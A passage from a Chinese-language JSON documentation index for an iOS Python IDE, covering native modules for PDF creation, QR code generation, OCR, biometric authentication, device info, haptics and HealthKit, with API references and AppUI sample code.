\", path)\npdf.preview(path) AppUI 示例 创建与预览放在按钮回调;界面展示页数与提取摘要。 import appui\nimport os\nimport pdf\n\nDOC = os.path.join(os.path.expanduser(\"~/Documents\"), \"pdf-demo.pdf\")\n\nstate = appui.State(\n pages=\"—\",\n preview=\"未创建\",\n snippet=\"点击按钮生成示例 PDF\",\n)\n\n\ndef create_demo():\n pdf.create_from_text(\n DOC,\n \"PythonIDE PDF 示例\\n\\n这是第二段文字。\",\n title=\"PDF 演示\",\n )\n meta = pdf.info(DOC) or {}\n text = pdf.extract_text(DOC) or \"\"\n state.batch_update(\n pages=str(meta.get(\"page_count\", \"—\")),\n preview=\"已生成\",\n snippet=text[:120] + (\"…\" if len(text) > 120 else \"\"),\n )\n\n\ndef open_preview():\n if not os.path.exists(DOC):\n state.snippet = \"请先生成 PDF\"\n return\n pdf.preview(DOC)\n state.preview = \"已打开 QuickLook\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"操作\", [\n appui.Button(\"生成示例 PDF\", action=create_demo)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"QuickLook 预览\", action=open_preview),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"页数\", value=state.pages),\n appui.LabeledContent(\"文件\", value=state.preview),\n appui.Text(state.snippet).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"PDF\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `create_from_text(path, text, title=None)` 纯文本 → PDF `create_from_images(path, image_paths)` 多图 → 多页 PDF `from_html(html, path)` HTML 字符串 → PDF `extract_text(path)` 提取全文 `info(path)` 元数据 `page_count` / `title` / `author` / `encrypted` `page_image(path, index=0, scale=2.0)` 单页渲染为 PNG `bytes` `preview(path)` 弹出 QuickLook 预览 创建 pdf.create_from_text(\"/path/note.pdf\", \"Hello\\nWorld\", title=\"Note\")\npdf.create_from_images(\"/path/album.pdf\", [\"/path/a.jpg\", \"/path/b.jpg\"])\npdf.from_html(\"

Report

\", \"/path/report.pdf\") 读取 info(path) — 返回元数据字典。 extract_text(path) — 返回完整文本字符串。 page_image(path, index=0, scale=2.0) — 将指定页渲染为 PNG 原始字节;失败抛 PDFError。 预览 preview(path) — 呈现原生 QuickLook 查看器,返回 True 表示成功弹出。 异常 PDFError(message, code=None) — 原生能力入口不可用或操作失败时抛出。 常见错误 错误写法 后果 修正 路径不可写 创建失败 使用 `~/Documents` 等沙盒目录 在 `body()` 里调用 `preview()` 每次刷新弹查看器 放进按钮回调 把 `page_image` 结果当路径用 类型错误 返回值是 `bytes`,需自行保存 期望编辑已有 PDF 超出能力 仅支持创建、读取、渲染 相关文档 文档 用途 [photos](photos-module) 选图后 `create_from_images` [share](share-module) 生成后通过分享面板发送 [file_picker](file-picker-module) 选择已有 PDF 路径 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "qrcode-module", + "title": "qrcode", + "subtitle": "生成二维码图片(读取用 vision_helper)。", + "section": "iOS 原生模块 / 视觉与文档", + "url": "pages/qrcode-module/", + "text": "qrcode 生成二维码图片(读取用 vision_helper)。 iOS 原生模块 视觉与文档 QRCode Generate CoreImage qrcode qr code 二维码 生成二维码 CIQRCodeGenerator qrcode 二维码生成:把文字或链接编码为 PNG 图片(CoreImage CIQRCodeGenerator)。 边界 : 只负责生成 ,不从图片读取/扫描二维码。识别请用 vision_helper 的 detect_barcodes。无需权限,不联网。 模块概览 项 说明 导入 `import qrcode` 适合做什么 分享链接、设备配对码、活动签到码 调用时机 `generate` / `save` 放在按钮回调 推荐顺序 准备文本 → `save()` 或 `generate()` → 分享或相册展示 纠错等级 `L`/`M`(默认)/`Q`/`H`,越高越抗污损、容量越小 快速开始 生成 PNG 字节并保存到文件: import os\nimport qrcode\n\nout = os.path.join(os.path.expanduser(\"~/Documents\"), \"qr-preview.png\")\npng = qrcode.generate(\"https://pythonide.xin\", size=512, correction=\"M\")\nprint(\"字节数:\", len(png))\npath = qrcode.save(\"https://pythonide.xin\", out, size=600)\nprint(\"已保存:\", path) AppUI 示例 生成放进按钮回调;appui.Image 不直接显示文件路径,因此展示保存路径文本。 import appui\nimport os\nimport qrcode\n\nstate = appui.State(\n text=\"https://pythonide.xin\",\n path=\"\",\n size=\"512\",\n)\n\n\ndef make_qr():\n out = os.path.join(os.path.expanduser(\"~/Documents\"), \"qr-preview.png\")\n size = int(state.size) if state.size.isdigit() else 512\n state.path = qrcode.save(state.text, out, size=size, correction=\"M\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"内容\", [\n appui.TextField(\"要编码的内容\", text=state.text),\n appui.TextField(\"边长(像素)\", text=state.size),\n ]),\n appui.Section(\"生成\", [\n appui.Button(\"生成二维码\", action=make_qr)\n .button_style(\"bordered_prominent\"),\n appui.Text(\n \"已保存到:\" + state.path if state.path else \"尚未生成\"\n ).foreground_color(\"secondaryLabel\"),\n ], footer=\"生成后可用分享或相册查看 PNG。\"),\n ]).navigation_title(\"二维码\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `generate(text, size=512, correction='M')` 返回 PNG `bytes` `generate_base64(text, size=512, correction='M')` 返回 Base64 PNG 字符串 `save(text, path, size=512, correction='M')` 写入文件并返回路径 `QRCodeError` 生成失败异常 参数 参数 说明 `text` 要编码的字符串 `size` 输出边长(像素),通常 64–4096 `correction` `L`(7%) / `M`(15%) / `Q`(25%) / `H`(30%) png = qrcode.generate(\"Hello\", size=256, correction=\"H\")\nb64 = qrcode.generate_base64(\"Hello\")\npath = qrcode.save(\"Hello\", \"/path/qr.png\") 常见错误 错误写法 后果 修正 用 `qrcode` 扫描图片 模块不支持读取 用 `vision_helper.detect_barcodes` 文本过长 编码失败 缩短内容或降低纠错等级 用 `appui.Image` 显示文件路径 显示不出来 保存后用 [share](share-module) 或相册 保存到不可写路径 `QRCodeError` 改用 `~/Documents` 相关文档 文档 用途 [vision_helper](vision-helper) 从图片识别二维码/条码 [share](share-module) 分享生成的 PNG 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "vision-module", + "title": "vision", + "subtitle": "使用 Vision 从图片字节中识别文字。", + "section": "iOS 原生模块 / 视觉与文档", + "url": "pages/vision-module/", + "text": "vision 使用 Vision 从图片字节中识别文字。 iOS 原生模块 视觉与文档 OCR Text Recognition vision ocr 文字识别 recognize text vision import vision 图片 OCR(文字识别):从图片字节提取可见文字。新代码请 import vision(与 vision_fix 等价)。 边界 :专注 文字识别 (OCR)。人脸、条码、矩形检测请用 vision_helper。需要能导入 Vision 框架或 objc_util;纯 ctypes 回退不支持 OCR。 模块概览 项 说明 导入 `import vision` 适合做什么 名片识别、截图取字、票据文字提取 调用时机 OCR 放在按钮回调;传入图片 `bytes` 推荐顺序 读图/选图 → `recognize_text_from_image_data(data)` 依赖 `is_vision_available()` 为 `True` 时再调用 快速开始 从本地图片文件读取并识别文字: import vision\n\nif not vision.is_vision_available():\n print(\"Vision 框架不可用\")\nelse:\n with open(\"/path/to/photo.jpg\", \"rb\") as f:\n data = f.read()\n text = vision.recognize_text_from_image_data(data)\n print(text or \"未识别到文字\") 检查框架并获取底层类(高级用法): import vision\n\nengine = vision.setup_vision_framework()\nif engine:\n print(\"导入方式:\", engine.get(\"method\")) AppUI 示例 选图后 OCR,结果展示在界面上。 import appui\nimport photos\nimport vision\n\nstate = appui.State(\n available=\"—\",\n status=\"尚未识别\",\n text=\"\",\n)\n\n\ndef refresh_available():\n state.available = \"是\" if vision.is_vision_available() else \"否\"\n\n\ndef ocr_from_photos():\n refresh_available()\n if state.available != \"是\":\n state.status = \"Vision 不可用\"\n return\n\n data = photos.pick_image(raw_data=True)\n if not data:\n state.status = \"未选择图片\"\n return\n\n result = vision.recognize_text_from_image_data(data)\n if not result:\n state.batch_update(status=\"未识别到文字\", text=\"\")\n return\n\n preview = result[:200] + (\"…\" if len(result) > 200 else \"\")\n state.batch_update(status=f\"共 {len(result)} 字符\", text=preview)\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"OCR\", [\n appui.Button(\"选图并识别\", action=ocr_from_photos)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"Vision\", value=state.available),\n appui.LabeledContent(\"状态\", value=state.status),\n appui.Text(state.text or \"—\").foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"文字识别\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_vision_available()` Vision 是否可用 → `bool` `setup_vision_framework()` 返回底层类字典或 `None` `recognize_text_from_image_data(image_data)` OCR → `str` 或 `None` 可用性 is_vision_available() — 检测能否通过直接导入或 objc_util 使用 Vision。 setup_vision_framework() — 返回包含 VNRecognizeTextRequest、VNImageRequestHandler 等类的字典;method 字段为 direct_import 或 objc_util。 OCR recognize_text_from_image_data(image_data) — 传入图片原始 bytes,返回多行合并的识别文本;失败返回 None。 with open(path, \"rb\") as f:\n text = vision.recognize_text_from_image_data(f.read()) 识别级别为 accurate(setRecognitionLevel_(1)),适合文档与截图。 常见错误 错误写法 后果 修正 传文件路径而非 `bytes` 类型错误 先 `open(path, \"rb\").read()` 未检查 `is_vision_available()` 返回 `None` 难排查 先判断可用性 在 `body()` 里自动 OCR 每次刷新重复识别 放进按钮回调 需要扫二维码 能力不匹配 用 `vision_helper.detect_barcodes` 相关文档 文档 用途 [vision_helper](vision-helper) 人脸、条码、分类、矩形检测 [photos](photos-module) 选图与 Base64 [objc_util](objc-util-module) 底层 Vision 类访问 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "vision-helper-module", + "title": "vision_helper", + "subtitle": "人脸、条码、矩形与图像分类。", + "section": "iOS 原生模块 / 视觉与文档", + "url": "pages/vision-helper-module/", + "text": "vision_helper 人脸、条码、矩形与图像分类。 iOS 原生模块 视觉与文档 Face Barcode Vision vision vision_helper 人脸 条码 rectangle classification vision_helper 本文档已迁移至 vision helper module。侧边栏与 schema 均以 vision helper module.md 为准。 AppUI 图片检测配方 import appui\nimport vision_helper\n\n\ndef body():\n return appui.Form([\n appui.Section(\"Vision Helper\", [\n appui.Text(\"在按钮回调中传入 base64 图片并调用 detect_* API\"),\n ])\n ]) 预期效果:页面展示检测入口;成功后在界面上显示检测摘要。 # 最小调用骨架(在命名回调中执行)\n# result = vision_helper.detect_barcodes(image_b64) 失败路径 情况 处理 权限被拒绝 在设置中开启权限后,从用户触发的回调重试 设备或能力不可用 先检查返回值或 `is_available()`,再给用户可读提示 用户取消 保留当前界面状态,不要当作成功继续流程 参数或 API 名错误 对照模块 API 参考与 schema,修正后再运行 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。" + }, + { + "id": "biometric-module", + "title": "biometric", + "subtitle": "Face ID / Touch ID 验证。", + "section": "iOS 原生模块 / 设备与传感器", + "url": "pages/biometric-module/", + "text": "biometric Face ID / Touch ID 验证。 iOS 原生模块 设备与传感器 Face ID Touch ID Auth biometric face id touch id optic id authenticate 生物识别 biometric Face ID / Touch ID 本机身份确认,支持设备密码回退。 边界 :只证明当前设备用户通过了系统认证,不能替代服务器登录。敏感数据仍用 keychain 保存,不要放进 storage。认证必须由用户动作触发,不要在 body() 里调用。 模块概览 项 说明 导入 `import biometric` 适合做什么 打开安全笔记、API Key 页、隐私设置前的二次确认 调用时机 放在按钮回调;用户取消后不要循环弹窗 推荐顺序 `is_available()` → `authenticate_with_passcode(reason)` → 检查 `result[\"success\"]` 结果判断 看 `result.get(\"success\")`,不要把整个 dict 当 `bool` 快速开始 下面脚本检查设备能力并尝试解锁: import biometric\n\nprint(\"类型:\", biometric.biometric_type()) # face_id / touch_id / none\nprint(\"可用:\", biometric.is_available())\n\nif biometric.is_available():\n result = biometric.authenticate_with_passcode(\"解锁安全笔记\")\n if result.get(\"success\"):\n print(\"已解锁\")\n else:\n print(\"失败:\", result.get(\"error\", \"用户取消\"))\nelse:\n print(\"当前设备不可用生物认证\") AppUI 示例 认证由按钮触发;成功、取消、失败都写回界面,不打印敏感内容。 import appui\nimport biometric\n\nTYPE_LABELS = {\n \"face_id\": \"Face ID\",\n \"touch_id\": \"Touch ID\",\n \"none\": \"不可用\",\n}\n\nstate = appui.State(\n status=\"未验证\",\n bio_type=TYPE_LABELS.get(biometric.biometric_type(), \"未知\"),\n available=\"是\" if biometric.is_available() else \"否\",\n message=\"点击按钮开始验证\",\n)\n\n\ndef unlock_biometric_only():\n if not biometric.is_available():\n state.message = \"生物认证不可用,请检查系统设置\"\n return\n result = biometric.authenticate(\"验证身份以继续\")\n _apply_result(result, \"仅生物认证\")\n\n\ndef unlock_with_passcode():\n if not biometric.is_available():\n state.message = \"生物认证不可用,请检查系统设置\"\n return\n result = biometric.authenticate_with_passcode(\"验证身份以继续\")\n _apply_result(result, \"生物认证或设备密码\")\n\n\ndef _apply_result(result, mode):\n if result.get(\"success\"):\n state.batch_update(\n status=\"已解锁\",\n message=f\"{mode} · 认证成功\",\n )\n else:\n state.batch_update(\n status=\"未解锁\",\n message=result.get(\"error\", \"用户取消或认证失败\"),\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"设备\", [\n appui.LabeledContent(\"类型\", value=state.bio_type),\n appui.LabeledContent(\"可用\", value=state.available),\n ]),\n appui.Section(\"验证\", [\n appui.Button(\"Face ID / Touch ID 解锁\", action=unlock_biometric_only)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"允许设备密码回退\", action=unlock_with_passcode),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"结果\", value=state.status),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"生物认证\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `biometric_type()` 返回 `face_id` / `touch_id` / `none` `is_available()` 设备与系统设置是否可用 `authenticate(reason)` 仅 Face ID / Touch ID `authenticate_with_passcode(reason)` 生物认证 + 设备密码回退 设备能力 biometric_type() — 当前支持的生物认证类型。 is_available() — 能否发起认证(硬件 + 系统设置均就绪)。 import biometric\n\nbio = biometric.biometric_type()\nif biometric.is_available():\n ... 认证 authenticate(reason) — 只使用 Face ID / Touch ID,无密码回退。 authenticate_with_passcode(reason) — 推荐用于解锁流程;生物失败时可输入设备密码。 result = biometric.authenticate_with_passcode(\"打开安全笔记\")\nif result.get(\"success\"):\n # 继续读取 keychain 等操作\n ...\nelse:\n print(result.get(\"error\")) 返回字典常见字段: 字段 说明 `success` 认证是否通过 `error` 失败或取消时的原因 注意 :reason 会显示在系统弹窗中,用简短中文说明用途,如「验证身份以查看 API Key」。 常见错误 错误写法 后果 修正 在 `body()` 里 `authenticate()` 刷新时反复弹窗 放进按钮回调 `if biometric.authenticate(...):` dict 恒为真值 检查 `result.get(\"success\")` 认证成功打印 token 敏感信息进日志 只显示「已解锁」 用户取消后反复弹窗 体验差 保持锁定并提示原因 相关文档 文档 用途 [keychain](keychain-module) 认证通过后读取 token [permission](permission-module) 统一权限查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "device-module", + "title": "device", + "subtitle": "设备、屏幕、电池和系统状态。", + "section": "iOS 原生模块 / 设备与传感器", + "url": "pages/device-module/", + "text": "device 设备、屏幕、电池和系统状态。 iOS 原生模块 设备与传感器 Device Screen Battery device battery screen brightness thermal locale device 读取当前 iPhone/iPad 的设备、系统、屏幕、电池、内存、温度、区域和语言信息。 边界 :用于界面适配、环境诊断和状态展示。identifier_for_vendor() 不是登录或支付凭据;改亮度要有明确用户动作。 模块概览 项 说明 导入 `import device` 适合做什么 设备信息页、布局适配、电量/低电量模式判断、诊断面板 调用时机 放在按钮回调或启动时读一次;不要写在 AppUI `body()` 里反复调用 推荐顺序 用户点击刷新 → 读取 `model` / `screen_size` 等 → 写回 `State` 特殊值 `battery_level()` 不可用时返回 `-1.0`,不要格式化成百分比 快速开始 下面脚本打印设备型号、系统版本、屏幕和电量信息: import device\n\nprint(\"设备:\", device.name(), device.model())\nprint(\"系统:\", device.system_name(), device.system_version())\nwidth, height = device.screen_size()\nprint(f\"屏幕: {width:.0f}×{height:.0f} scale={device.screen_scale()}\")\n\nlevel = device.battery_level()\nif level < 0:\n print(\"电量: 不可用\")\nelse:\n print(f\"电量: {level:.0%} 状态: {device.battery_state()}\")\n\nprint(\"热状态:\", device.thermal_state())\nprint(\"低电量模式:\", device.is_low_power_mode())\nprint(\"区域:\", device.locale(), device.timezone()) AppUI 示例 设备信息由按钮触发读取,结果写进 State;不要在 body() 里直接调用 device. 。 import appui\nimport device\n\nstate = appui.State(\n model=\"—\",\n system=\"—\",\n screen=\"—\",\n battery=\"—\",\n battery_state=\"—\",\n thermal=\"—\",\n low_power=\"—\",\n message=\"点击按钮刷新\",\n)\n\n\ndef format_battery(level):\n if level < 0:\n return \"不可用\"\n return f\"{level:.0%}\"\n\n\ndef format_memory(bytes_value):\n if bytes_value <= 0:\n return \"—\"\n gb = bytes_value / (1024 ** 3)\n return f\"{gb:.1f} GB\"\n\n\ndef refresh_device_info():\n width, height = device.screen_size()\n state.batch_update(\n model=device.model(),\n system=f\"{device.system_name()} {device.system_version()}\",\n screen=f\"{width:.0f}×{height:.0f} @ {device.screen_scale():.0f}x\",\n battery=format_battery(device.battery_level()),\n battery_state=device.battery_state(),\n thermal=device.thermal_state(),\n low_power=\"是\" if device.is_low_power_mode() else \"否\",\n message=f\"内存 {format_memory(device.total_memory())} · 运行 {device.system_uptime():.0f}s\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"设备\", [\n appui.LabeledContent(\"型号\", value=state.model),\n appui.LabeledContent(\"系统\", value=state.system),\n appui.LabeledContent(\"屏幕\", value=state.screen),\n ]),\n appui.Section(\"电源\", [\n appui.LabeledContent(\"电量\", value=state.battery),\n appui.LabeledContent(\"充电状态\", value=state.battery_state),\n appui.LabeledContent(\"低电量模式\", value=state.low_power),\n appui.LabeledContent(\"热状态\", value=state.thermal),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"刷新设备信息\", action=refresh_device_info)\n .button_style(\"bordered_prominent\"),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"设备信息\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `name()` / `model()` 设备名称 / 型号 `system_name()` / `system_version()` 系统名称与版本 `screen_size()` / `screen_scale()` 屏幕尺寸与 scale `battery_level()` / `battery_state()` 电量与充电状态 `thermal_state()` / `is_low_power_mode()` 热状态与低电量模式 `total_memory()` / `processor_count()` 物理内存与 CPU 核心数 `screen_brightness()` / `set_screen_brightness(v)` 读取 / 设置亮度 `locale()` / `timezone()` / `preferred_languages()` 区域、时区与语言 设备与系统 API 返回 说明 `name()` `str` 用户设置的设备名称 `model()` `str` 设备型号标识 `system_name()` `str` 如 `iOS` `system_version()` `str` 系统版本号 `identifier_for_vendor()` `str` 开发者维度设备 ID;重装可能变化 `system_uptime()` `float` 开机以来秒数 `orientation()` `str` 当前屏幕方向 print(device.model(), device.system_version())\nprint(device.identifier_for_vendor()) 屏幕与亮度 API 返回 说明 `screen_width()` / `screen_height()` `float` 屏幕点数宽高 `screen_size()` `tuple` `(width, height)` `screen_scale()` `float` Retina scale `screen_brightness()` `float` 当前亮度 0.0–1.0 `set_screen_brightness(value)` `None` 设置亮度,需用户动作触发 width, height = device.screen_size()\ndevice.set_screen_brightness(0.6) # 仅在按钮回调里调用 电源与性能 API 返回 说明 `battery_level()` `float` 0.0–1.0;不可用为 `-1.0` `battery_state()` `str` `unknown` / `unplugged` / `charging` / `full` `thermal_state()` `str` `nominal` / `fair` / `serious` / `critical` `is_low_power_mode()` `bool` 是否低电量模式 `total_memory()` `int` 物理内存字节数 `processor_count()` `int` CPU 核心数 level = device.battery_level()\nif level >= 0:\n print(f\"{level:.0%}\", device.battery_state())\nif device.is_low_power_mode():\n print(\"低电量模式,可降低刷新频率\") 区域与语言 API 返回 说明 `locale()` `str` 当前区域标识 `timezone()` `str` 时区 `preferred_languages()` `list[str]` 用户首选语言列表 print(device.locale(), device.timezone())\nprint(device.preferred_languages()) 常见错误 错误写法 后果 修正 在 `body()` 里读 `device.*` 每次刷新都重复调用 放进按钮回调或启动时读一次 `battery_level()` 为 `-1.0` 仍格式化成 % 显示异常百分比 显示「不可用」 脚本自动 `set_screen_brightness` 改变用户设备体验 仅在明确按钮动作里调用 把 `identifier_for_vendor()` 当登录凭据 不安全、可能变化 仅作设备区分,不作鉴权 相关文档 文档 用途 [storage](storage-module) 本地数据存储 [permission](permission-module) 系统权限状态 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "haptics-module", + "title": "haptics", + "subtitle": "触觉反馈和 Core Haptics 模式。", + "section": "iOS 原生模块 / 设备与传感器", + "url": "pages/haptics-module/", + "text": "haptics 触觉反馈和 Core Haptics 模式。 iOS 原生模块 设备与传感器 Impact Selection Core Haptics haptics impact notification selection core haptics 震动 haptics iOS 触觉反馈:在用户明确操作后触发冲击、选择、通知类震动,或播放 Core Haptics 自定义模式。 边界 :触觉是辅助反馈,不能替代文字、颜色或状态变化。无触觉设备或用户关闭系统触觉时,界面仍要有可见反馈。不要在 AppUI body() 里触发,否则刷新时会重复震动。 模块概览 项 说明 导入 `import haptics` 适合做什么 按钮点击、选项切换、保存成功/失败、危险操作拦截 调用时机 放在按钮或明确事件回调;不要写在 `body()` 中 推荐顺序 用户操作 → `haptics.*` → 同时更新 `State` 文案 两套 API `impact`/`selection`/`notification` 适合大多数场景;`play` 需先 `is_supported()` 快速开始 下面脚本依次触发选择、冲击和成功通知反馈: import haptics\n\nhaptics.selection()\nhaptics.impact(\"medium\", intensity=0.8)\nhaptics.notification(\"success\")\n\n# 快捷方式\nhaptics.success()\nhaptics.light() AppUI 示例 触觉放在按钮回调里,同时更新界面状态。 import appui\nimport haptics\n\nstate = appui.State(\n message=\"点击按钮体验触觉反馈\",\n core_haptics=\"未检测\",\n)\n\n\ndef refresh_support():\n state.core_haptics = \"支持\" if haptics.is_supported() else \"不支持\"\n\n\ndef choose_item():\n haptics.selection()\n state.message = \"选择反馈 · 轻微滴答\"\n\n\ndef save_item():\n haptics.success()\n state.message = \"成功反馈 · 保存完成\"\n\n\ndef show_error():\n haptics.error()\n state.message = \"错误反馈 · 请检查输入\"\n\n\ndef play_pattern():\n if not haptics.is_supported():\n state.message = \"当前设备不支持 Core Haptics\"\n return\n events = [\n {\"type\": \"transient\", \"time\": 0.0, \"intensity\": 1.0, \"sharpness\": 0.8},\n {\"type\": \"continuous\", \"time\": 0.08, \"duration\": 0.25, \"intensity\": 0.5, \"sharpness\": 0.3},\n ]\n ok = haptics.play(events)\n state.message = \"自定义模式已播放\" if ok else \"播放失败\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"设备\", [\n appui.LabeledContent(\"Core Haptics\", value=state.core_haptics),\n appui.Button(\"检测支持情况\", action=refresh_support),\n ]),\n appui.Section(\"UIKit 反馈\", [\n appui.Button(\"选择\", action=choose_item),\n appui.Button(\"保存成功\", action=save_item)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"模拟错误\", action=show_error, role=\"destructive\"),\n ]),\n appui.Section(\"自定义\", [\n appui.Button(\"播放短模式\", action=play_pattern),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"触觉反馈\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `selection()` 选项切换的轻微滴答 `impact(style, intensity=1.0)` 冲击反馈 `notification(type)` 成功/警告/错误通知反馈 `success()` / `warning()` / `error()` `notification` 快捷方式 `light()` / `medium()` / `heavy()` `impact` 快捷方式 `is_supported()` 是否支持 Core Haptics `play(events)` 播放自定义事件列表 `stop()` 停止 Core Haptics 引擎 UIKit 反馈 适合绝大多数按钮和状态场景: import haptics\n\nhaptics.selection()\nhaptics.impact(\"medium\", intensity=0.8)\nhaptics.notification(\"success\") API 参数 说明 `impact(style, intensity=1.0)` `light` / `medium` / `heavy` / `soft` / `rigid` 点击冲击感 `notification(type)` `success` / `warning` / `error` 结果类反馈 `selection()` — 选择变化 快捷方法 方法 等价于 `success()` `notification(\"success\")` `warning()` `notification(\"warning\")` `error()` `notification(\"error\")` `light()` `impact(\"light\")` `medium()` `impact(\"medium\")` `heavy()` `impact(\"heavy\")` Core Haptics is_supported() — 播放自定义模式前先检查。 play(events) — 事件列表,每项为 dict: events = [\n {\"type\": \"transient\", \"time\": 0.0, \"intensity\": 1.0, \"sharpness\": 0.8},\n {\"type\": \"continuous\", \"time\": 0.08, \"duration\": 0.25, \"intensity\": 0.5, \"sharpness\": 0.3},\n]\nif haptics.is_supported():\n haptics.play(events) 字段 说明 `type` `transient` 或 `continuous` `time` 开始时间(秒) `duration` 持续时间(`continuous` 用) `intensity` / `sharpness` 强度与锐度 0..1 stop() — 退出页面或中断模式时停止引擎。 常见错误 错误写法 后果 修正 在 `body()` 里调 `haptics.success()` 刷新时重复震动 放进按钮回调 只震动不更新 UI 无触觉设备上无反馈 同时改 `State` 或显示 HUD 不检查就 `play(events)` 部分设备无效 先 `is_supported()` 高频循环触发 体验差、耗电 仅在关键状态变化时触发一次 相关文档 文档 用途 [device](device-module) 设备能力与系统信息 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "health-module", + "title": "health", + "subtitle": "HealthKit 授权、查询和体重写入。", + "section": "iOS 原生模块 / 设备与传感器", + "url": "pages/health-module/", + "text": "health HealthKit 授权、查询和体重写入。 iOS 原生模块 设备与传感器 HealthKit Steps Workout health healthkit steps heart_rate workout sleep weight health HealthKit 健康数据:申请授权、读取步数/心率/睡眠等,写入体重样本。 边界 :健康数据非常敏感。只请求当前功能需要的类型(如 steps、heart_rate),不要一次申请全部。查询结果只做展示, 不做医疗诊断 ;不要把明细写入 storage。 模块概览 项 说明 导入 `import health` 适合做什么 步数/心率/睡眠仪表盘、体重记录、血压汇总 调用时机 授权和读取放在按钮回调;不要在 `body()` 里读 HealthKit 推荐顺序 `is_available()` → `request_authorization(read=[...])` → 查询 类型名 用文档列出的 snake_case 类型名;时间范围用 Unix timestamp 快速开始 下面脚本申请权限并读取最近 24 小时步数与心率: import time\nimport health\n\nif not health.is_available():\n print(\"当前设备不支持 HealthKit\")\nelse:\n ok = health.request_authorization(read=[\"steps\", \"heart_rate\"])\n if ok:\n end = time.time()\n start = end - 86400\n print(\"步数:\", health.query_steps(start=start, end=end))\n print(\"心率:\", health.query_heart_rate(start=start, end=end))\n else:\n print(\"用户未授权读取健康数据\") AppUI 示例 授权和读取放在按钮回调;空结果展示明确状态。 import appui\nimport health\n\nstate = appui.State(\n status=\"未读取\",\n steps=\"—\",\n heart_rate=\"—\",\n sleep=\"—\",\n)\n\n\ndef refresh_dashboard():\n if not health.is_available():\n state.batch_update(\n status=\"设备不支持 HealthKit\",\n steps=\"—\",\n heart_rate=\"—\",\n sleep=\"—\",\n )\n return\n\n read_types = [\"steps\", \"heart_rate\", \"sleep\"]\n if not health.request_authorization(read=read_types):\n state.batch_update(\n status=\"未授权读取健康数据\",\n steps=\"—\",\n heart_rate=\"—\",\n sleep=\"—\",\n )\n return\n\n steps = int(health.query_steps() or 0)\n heart_records = health.query_heart_rate() or []\n sleep_records = health.query_sleep() or []\n\n state.batch_update(\n status=\"最近 24 小时步数 · 7 天睡眠\",\n steps=f\"{steps:,}\",\n heart_rate=f\"{len(heart_records)} 条记录\",\n sleep=f\"{len(sleep_records)} 条记录\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"今日概览\", [\n appui.LabeledContent(\"步数\", value=state.steps),\n appui.LabeledContent(\"心率\", value=state.heart_rate),\n appui.LabeledContent(\"睡眠\", value=state.sleep),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"刷新健康数据\", action=refresh_dashboard)\n .button_style(\"bordered_prominent\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"仅展示数据,不做诊断;真机 + 健康 App 有数据时效果最好。\"),\n ]).navigation_title(\"健康\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 设备是否支持 HealthKit `request_authorization(read, write)` 申请读写权限 → `bool` `authorization_status(type_id)` 查询某类型授权状态 `query_steps(start, end)` 步数(默认最近 24h) `query_heart_rate(start, end)` 心率记录列表 `query_sleep(start, end)` 睡眠数据(默认最近 7 天) `query_weight(limit)` / `save_weight(kg)` 读取 / 写入体重 `query_blood_pressure(start, end)` 血压记录(默认 30 天) `summarize_blood_pressure(records)` 血压统计汇总 授权 import health\n\nif health.is_available():\n ok = health.request_authorization(\n read=[\"steps\", \"heart_rate\"],\n write=[\"weight\"],\n )\n status = health.authorization_status(\"steps\") 常用授权类型:steps、heart_rate、weight、sleep、workout、blood_pressure_systolic、blood_pressure_diastolic、distance、calories。 血压授权推荐使用组件类型: health.request_authorization(\n read=[\"blood_pressure_systolic\", \"blood_pressure_diastolic\"]\n) blood_pressure 只作为兼容简写,会在运行时展开为收缩压和舒张压组件;不要把任意 HealthKit 原始标识符传给 request_authorization。 注意 